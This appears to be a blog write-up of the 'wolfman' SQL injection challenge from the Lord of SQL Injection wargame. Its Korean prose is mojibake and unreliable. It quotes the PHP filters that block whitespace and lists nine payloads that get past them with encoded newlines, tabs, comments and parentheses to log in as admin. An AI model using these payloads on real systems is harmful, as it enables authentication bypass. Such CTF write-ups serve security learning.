ํฐ์คํ ๋ฆฌ ๋ทฐ
wolfman ๋ฌธ์ ๋ฅผ ํ์ธํด๋ณด๋ฉด and pw='{$_GET [pw]} ํด๋น pw์ ์ฝ์ ๋ ๊ฐ์ผ๋ก ์คํ์ด ๋๊ณ ์์ต๋๋ค.
์กฐ๊ธ ํน์ดํ ์ ์ด ์๋ค๋ฉด ์ ๋จ๊ณ์์๋ " admin " ๊ณ์ ์ด ์ด๋ฏธ ์ ์ธ๋ ์ํ์์ ์งํํ์์ง๋ง ์ด๋ฒ์ ๊ฒฝ์ฐ ๊ธฐ๋ณธ์ ์ผ๋ก " guest " ๊ณ์ ์ผ๋ก ์ ์ธ๋์ด ์์ต๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET [pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
๊ฒ์ฆ๋๋ ํํฐ๋ง ํจ์๊ฐ ๋ ์ถ๊ฐ๋์์ต๋๋ค. ๋ ๋ฒ์งธ preg_match ์์ญ์ ๋ณด์๋ฉด " / / " ์ฆ ๊ณต๋ฐฑ ๊ฒ์ฆํ๊ณ ์๋๊ฒ์ ํ์ธํ์ค ์ ์์ต๋๋ค.
if($result['id'] == 'admin') solve("wolfman");
๋ํ ํด๋น ์์ค๋ถ๋ถ์ ๋ณด์๋ฉด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด " admin " ์ด๋ผ๋ ๊ณ์ ์ผ๋ก ์ ๊ทผํด์ผ ๋๋ค๋๊ฒ์ ์ ์ ์๊ธฐ ๋๋ฌธ์
์ ๋ ฅํ ์ฟผ๋ฆฌ๋ฌธ์ " or " ๊ตฌ๋ฌธ์ ์ฌ์ฉํด์ id=admin์ด๋ผ๋ ๊ฒ์ ์ ์ธํด์ฃผ๊ณ ๋๋จธ์ง ๊ตฌ๋ฌธ์ ๋ชจ๋ ์ฃผ์ ์ฒ๋ฆฌํ๋ฉด ๊น๋ํ๊ฒ ํด๊ฒฐ๋ ๊ฒ ๊ฐ์ต๋๋ค.
๊ณต๋ฐฑ ์ฐํ
pw=(1)'or(id='admin')%23 --> ๊ดํธ์ฌ์ฉ
pw=1'%0dor%0did='admin'%23 --> ์บ๋ฆฌ์ง๋ฆฌํด(\r)
pw=1'/**/or/**/id='admin'%23 --> ๋ค์ค์ฃผ์
pw=1'+or+id='admin'%23 --> + ์ฌ์ฉ
pw=1'%09or%09id='admin'%23 --> TAB์ฌ์ฉ(\t)
pw=1'%0aor%0aid='admin'%23 --> Line FEED(\n)
pw=1'%0bor%0bid='admin'%23 --> instead
pw=1'%a0or%a0id='admin'%23 --> instead
pw=1'%0cor%0cid='admin'%23 --> instead
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 3 (0) | 2020.12.05 |
---|---|
[LOS] darkelf ํ์ด(6) (0) | 2020.12.05 |
[LOS] ORC ํ์ด(4) (0) | 2020.12.05 |
[LOS] goblin ํ์ด(3) (0) | 2020.12.05 |
[LOS] cobolt ํ์ด(2) (0) | 2020.12.05 |